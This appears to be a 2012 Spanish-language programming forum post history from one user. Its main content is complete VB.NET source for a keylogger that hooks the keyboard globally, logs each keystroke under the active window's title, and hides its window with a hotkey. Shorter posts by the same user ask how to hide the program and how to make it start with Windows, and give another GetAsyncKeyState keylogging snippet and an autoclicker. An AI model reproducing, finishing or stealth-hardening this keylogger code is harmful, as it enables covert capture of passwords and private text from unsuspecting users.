Últimos Temas de: BrokerJoker

Mostrar Temas
Páginas: 1 2 3 4 5 [6]

Programación / .NET (C#, VB.NET, ASP) / Ayuda en este Codigo

en: 14 Enero 2012, 03:44 am

Tengo este codigo para creacion de un keylogger pero resulta que cunado escribo algo me sale asi :

Código:

----------- *C:\Users\Broker\Desktop\Nuevo documento de texto.txt - Notepad++ (14/01/2012 3:36:41) ------------
h
----------- *C:\Users\Broker\Desktop\Nuevo documento de texto.txt - Notepad++ (14/01/2012 3:36:41) ------------
h
----------- *C:\Users\Broker\Desktop\Nuevo documento de texto.txt - Notepad++ (14/01/2012 3:36:41) ------------
ho
----------- *C:\Users\Broker\Desktop\Nuevo documento de texto.txt - Notepad++ (14/01/2012 3:36:41) ------------
hol
----------- *C:\Users\Broker\Desktop\Nuevo documento de texto.txt - Notepad++ (14/01/2012 3:36:41) ------------
hol
----------- *C:\Users\Broker\Desktop\Nuevo documento de texto.txt - Notepad++ (14/01/2012 3:36:41) ------------
hol
----------- *C:\Users\Broker\Desktop\Nuevo documento de texto.txt - Notepad++ (14/01/2012 3:36:41) ------------
hola
----------- *C:\Users\Broker\Desktop\Nuevo documento de texto.txt - Notepad++ (14/01/2012 3:36:41) ------------
hola

Quero que me salga asi solo esto no todo :S

Código:

----------- *C:\Users\Broker\Desktop\Nuevo documento de texto.txt - Notepad++ (14/01/2012 3:36:41) ------------
hola

---

El codigo que utilizo es :

Código:

Public Class Form1

#Region "importamos las funciones de la API de windows"
    Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
    Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal IdHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadID As Integer) As Integer
    Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32

    Private Delegate Function KeyboardHookDelegate(ByVal code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
#End Region

    Private Const WM_KEYUP As Integer = &H101
    Private Const WM_KEYDOWN As Short = &H100S
    Private Const WM_SYSKEYDOWN As Integer = &H104
    Private Const WM_SYSKEYUP As Integer = &H105

    Private Structure KBDLLHOOKSTRUCT
        Public vkCode As Integer
        Public scanCode As Integer
        Public flags As Integer
        Public time As Integer
        Public dwExtrainfo As Integer
    End Structure

#Region "Teclas"
    Enum VirtualKey


        K_Return = &HD
        K_Backspace = &H8
        K_Space = &H20
        K_Tab = &H9
        K_Esc = &H1B

        K_Control = &H11
        K_LControl = &HA2
        K_RControl = &HA3

        K_Delete = &H2E
        K_End = &H23
        K_Home = &H24
        K_Insert = &H2D

        K_Shift = &H10
        K_LShift = &HA0
        K_RShift = &HA1

        K_Pause = &H13
        K_PrintScreen = 44

        K_LWin = &H5B
        K_RWin = &H5C

        K_Alt = &H12
        K_LAlt = &HA4
        K_RAlt = &HA5

        K_NumLock = &H90
        K_CapsLock = &H14
        'Flechas
        K_Up = &H26
        K_Down = &H28
        K_Right = &H27
        K_Left = &H25


        K_F1 = &H70
        K_F2 = &H71
        K_F3 = &H72
        K_F4 = &H73
        K_F5 = &H74
        K_F6 = &H75
        K_F7 = &H76
        K_F8 = &H77
        K_F9 = &H78
        K_F10 = &H79
        K_F11 = &H7A
        K_F12 = &H7B
        K_F13 = &H7C
        K_F14 = &H7D
        K_F15 = &H7E
        K_F16 = &H7F
        K_F17 = &H80
        K_F18 = &H81
        K_F19 = &H82
        K_F20 = &H83
        K_F21 = &H84
        K_F22 = &H85
        K_F23 = &H86
        K_F24 = &H87


        K_Numpad0 = &H60
        K_Numpad1 = &H61
        K_Numpad2 = &H62
        K_Numpad3 = &H63
        K_Numpad4 = &H64
        K_Numpad5 = &H65
        K_Numpad6 = &H66
        K_Numpad7 = &H67
        K_Numpad8 = &H68
        K_Numpad9 = &H69

        K_Num_Add = &H6B
        K_Num_Divide = &H6F
        K_Num_Multiply = &H6A
        K_Num_Subtract = &H6D
        K_Num_Decimal = &H6E

        'Caracteres y Números
        K_0 = &H30
        K_1 = &H31
        K_2 = &H32
        K_3 = &H33
        K_4 = &H34
        K_5 = &H35
        K_6 = &H36
        K_7 = &H37
        K_8 = &H38
        K_9 = &H39
        K_A = &H41
        K_B = &H42
        K_C = &H43
        K_D = &H44
        K_E = &H45
        K_F = &H46
        K_G = &H47
        K_H = &H48
        K_I = &H49
        K_J = &H4A
        K_K = &H4B
        K_L = &H4C
        K_M = &H4D
        K_N = &H4E
        K_O = &H4F
        K_P = &H50
        K_Q = &H51
        K_R = &H52
        K_S = &H53
        K_T = &H54
        K_U = &H55
        K_V = &H56
        K_W = &H57
        K_X = &H58
        K_Y = &H59
        K_Z = &H5A


        K_Subtract = 189
        K_Decimal = 190

    End Enum

#End Region


    Private KeyboardHandle As IntPtr = 0
    Private LastCheckedForegroundTitle As String = ""
    Private callback As KeyboardHookDelegate = Nothing
    Private KeyLog As String

    Public Sub EngancharTeclado()
        callback = New KeyboardHookDelegate(AddressOf KeyboardCallBack)
        KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
    End Sub

    Private Function Hooked()
        Return KeyboardHandle <> 0
    End Function

    Private Function KeyboardCallBack(ByVal code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
        'Obtenemos el titulo
        Dim TituloVentana = GetActiveWindowTitle()


        If TituloVentana <> LastCheckedForegroundTitle Then
            LastCheckedForegroundTitle = TituloVentana
            'La ventana en la que se genero el evento y la fecha y hora
            KeyLog &= vbCrLf & "----------- " & TituloVentana & " (" & Now.ToString() & ") ------------" & vbCrLf
        End If

        'Variable que contendrá la  tecla presonada
        Dim Tecla As String = ""

        If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then


            If code >= 0 Then
                'Si se presiona Ctrl + alt + S
                If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown And lParam.vkCode = VirtualKey.K_S Then
                    Me.Visible = Not Me.Visible 'Ocultamos o mostramos el formulari
                    Return 1
                End If
            End If

            'Convertir la tecla presionada en un caracter
            Select Case lParam.vkCode
                Case VirtualKey.K_0 To VirtualKey.K_9
                    Tecla = ChrW(lParam.vkCode)
                Case VirtualKey.K_A To VirtualKey.K_Z
                    Tecla = ChrW(lParam.vkCode + 32)
            End Select
        End If

        'Añadir la tecla a la variable y de la variable al Textbox
        KeyLog &= Tecla
        TextBox1.AppendText(KeyLog)
        Return CallNextHookEx(KeyboardHandle, code, wParam, lParam)

    End Function

    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)

        Return MyStr
    End Function

    Public Sub Desenganchar()
        If (Hooked()) Then
            If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then
                KeyboardHandle = 0
            End If
        End If
    End Sub


    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        EngancharTeclado()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Desenganchar()
    End Sub
End Class

52	Foros Generales / Dudas Generales / Se me rompieron los cascos	en: 11 Enero 2012, 11:27 am
Pues hace unas dias la parte que entra en el pc de los cascos se rompio por lamitado y se quedo dentro, como puedo sacarla? O utilizar el puerto del microfono para los cascos ?

53	Programación / .NET (C#, VB.NET, ASP) / Caracters raros :S Keylogger	en: 11 Enero 2012, 09:33 am
Bueno he creado 1 keylogger pero la cunado me guarda lo que estoy escribiendo por ejemplo si pongo "." me pone "¾" Y asi muchos mas caracters de ese tipo . Por que ser? El codigo que utilizo es este : Código: For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then RichTextBox1.Text = RichTextBox1.Text + Chr(i) Código: RichTextBox1.Text = ("")

54	Programación / .NET (C#, VB.NET, ASP) / Esconder programa	en: 10 Enero 2012, 20:11 pm
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click que comando pongo aqui para que mi programa se minimize o esconde End Sub para vostros es facil pero para mi no , soy nuevo en esto

55	Programación / .NET (C#, VB.NET, ASP) / Como crear aplicacion que inicie con windows	en: 10 Enero 2012, 01:10 am
Como crear aplicacion que inicie con windows en visual basic 2010? Necesito esto urgente y no encontre nada ;( Si eres bueno y saves ayudame

56	Programación / Programación Visual Basic / Poner espacio entre textbox	en: 7 Enero 2012, 19:24 pm
Tengo este codigo : text = TextBox1.Text & TextBox2.Text & TextBox3.Text + vbLf Y quero poner espacio entre los Textbox Ahora me queda ASi: Textbox1.textTextbox2.textTextbox3.Text Y quero que me quede asi : Textbox1.text Textbox2.text Textbox3.Text

57	Seguridad Informática / Hacking / Ayuda abrir puerto	en: 2 Enero 2012, 03:31 am
No se donde va esta tema y lo pongo aqui. Weno hay alguna forma de abrir puerto router pero sin acceder a la pagina del router? y tampoko por telnet Algun programa k active puertos?

58	Programación / Programación General / Activar y desactivar Timer con 1 tecla	en: 15 Diciembre 2011, 17:03 pm
Utilizo visual basic 2010. Bueno pues quero hacer lo siguiente activar un timer por ejemplo con F1 y desactivarlo igual con F1 . No me sale de ni una forma el codigo k tengo asta ahora es este Dim hotkey1 As Boolean hotkey1 = GetAsyncKeyState(Keys.F1) If hotkey1 = True Then Timer1.Start() Dim hotkey As Boolean hotkey = GetAsyncKeyState(Keys.F1) If hotkey = True Then Timer1.Stop() Porfavor ayudarme es urgente $:-\$

Programación / .NET (C#, VB.NET, ASP) / Ayuda con este codigo para Visual Basic 2010 Porfavor ;(

en: 21 Noviembre 2011, 00:01 am

Bueno pues me puse a crear un autoclick y me salio pero no como yo queria
Lo que me pasa es lo siguiente
Al hora de hacer clik la flecha se queda blockeada en el sitio donde puse las coordenadas que de click
Vi otros autocliks como el Caos que no se queda la flecha blockeada alguien me puede ayudar ?

El codigo que llevo asta el momento es este :

Código:

Public Class Form1

    Dim encendido As Boolean = True
    Dim apagado As Boolean = False
    Function clickeo() As String 'hace que el mouse clickee
        mouse_event(mousclickdown, 0, 0, 0, 0)
        mouse_event(mousclickup, 0, 0, 0, 0)
        Return 0
    End Function
    Private Declare Sub mouse_event Lib "user32" (ByVal dvflags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cbuttons As Long, ByVal dvextrainfo As Long)
    Private Const mousclickup = 4
    Private Const mousclickdown = 2
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Button1: Timer1.Start()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Button2: Timer1.Stop()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Me.Cursor = New Cursor(Cursor.Current.Handle)
        Cursor.Position = New Point(Label2.Text, Label1.Text)
        clickeo()
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Label2.Text = MousePosition.X
        Label1.Text = MousePosition.Y

        Timer2.Stop()
    End Sub

    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick





        If encendido = True Then
            Dim hotkey As Boolean
            hotkey = GetAsyncKeyState(Keys.F1)
            If hotkey = True Then Timer1.Start()
            apagado = True
            encendido = False

        ElseIf apagado = True Then
            Dim hotkey1 As Boolean
            hotkey1 = GetAsyncKeyState(Keys.F1)
            If hotkey1 = True Then Timer1.Stop()

            apagado = False
            encendido = True

        End If
    End Sub






    Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick
        Dim hotkey As Boolean
        hotkey = GetAsyncKeyState(Keys.F9)
        If hotkey = True Then Timer2.Start()

    End Sub


    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Application.Exit()
    End Sub
End Class

Páginas: 1 2 3 4 5 [6]